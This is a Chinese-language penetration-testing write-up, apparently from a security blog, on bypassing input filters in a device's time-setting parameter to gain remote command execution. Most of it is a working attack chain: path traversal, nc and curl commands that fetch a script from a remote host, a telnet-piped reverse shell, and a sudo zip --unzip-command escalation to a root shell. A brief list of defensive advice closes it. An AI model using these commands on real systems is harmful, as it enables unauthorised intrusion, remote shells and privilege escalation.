【Web实战】一次有趣的RCEbypass
字数 942 2025-08-10 08:28:45
RCE Bypass 技术分析与实战教学文档
漏洞背景分析
该漏洞存在于一个时间设置功能中,通过POST请求的time参数实现远程命令执行(RCE)。系统对输入进行了部分过滤,但存在绕过可能性。
漏洞代码分析
-
输入处理流程:
- 接收POST的
time参数 - 将
T替换为空格 - 将
/替换为- - 将处理后的参数传递给
SystemSetting_setLocalTime函数
- 接收POST的
-
关键函数
SystemSetting_setLocalTime:- 参数拼接到
$cmd_date_set变量中 - 过滤掉
|字符 - 最终通过
exec执行命令
- 参数拼接到
-
过滤规则:
- 禁止的字符:
/、|、\ - 可用替代:反引号(
`)可用于命令拼接
- 禁止的字符:
限制条件
- 无回显的RCE
- 关键字符被过滤
- 无法直接使用HTTP协议下载文件
- 无权限直接写入文件
绕过技术方案
方案一:字符替换与路径遍历
-
使用
$IFS替代空格 -
通过
cd ..实现路径遍历:cd ..; cd ..; cd ..; cd ..; cd tmp -
使用nc下载远程文件:
nc x.x.x.x 81 > 1.sh
方案二:文件上传与执行
-
发现存在文件上传点,路径为
/svr/www -
上传限制:
- 仅检查是否为zip格式
- 不限制文件后缀名
-
上传恶意zip文件并执行:
sudo /usr/bin/zip 1aca.zip /etc/syslog.conf -T --unzip-command="sh -c 'id > /tmp/test.txt'"
方案三:提权利用
- 发现
/etc/sudoers配置允许nobody用户无需密码使用sudo - 利用
/usr/bin/zip的--unzip-command参数执行命令:sudo /usr/bin/zip 1aca.zip /etc/passwd -T --unzip-command="sh -c /bin/sh"
完整攻击步骤
方法一:通过nc实现文件传输
-
服务端准备:
sudo nc -lvvnp 85 -
准备反弹shell命令:
telnet x.x.x.x 82 | /bin/sh | telnet x.x.x.x 83 -
被控端下载脚本:
time= curl x.x.x.x -d "c=$(cd ..; cd ..; cd ..; cd ..; cd tmp; nc x.x.x.x 85 > 1.sh)" -
执行下载的脚本:
time= cd ..; cd ..; cd ..; cd ..; cd tmp;sh 1.sh -
服务端监听82和83端口获取shell
方法二:通过文件上传实现
- 上传恶意zip文件
- 利用RCE执行上传的文件
- 通过路径遍历访问上传的文件
防御建议
- 严格过滤所有用户输入
- 禁用危险函数如
exec - 限制sudo权限
- 对上传文件进行严格检查
- 使用最小权限原则运行服务
- 禁用不必要的系统命令和工具
总结
该案例展示了如何通过多种技术组合绕过RCE限制,包括:
- 路径遍历绕过目录限制
- 替代字符绕过过滤
- 利用系统工具特性实现提权
- 文件上传与RCE结合利用
攻击者通过创造性思维和系统知识,成功绕过多重限制实现了完整的攻击链。防御方应从输入验证、权限控制和功能设计等多方面加强防护。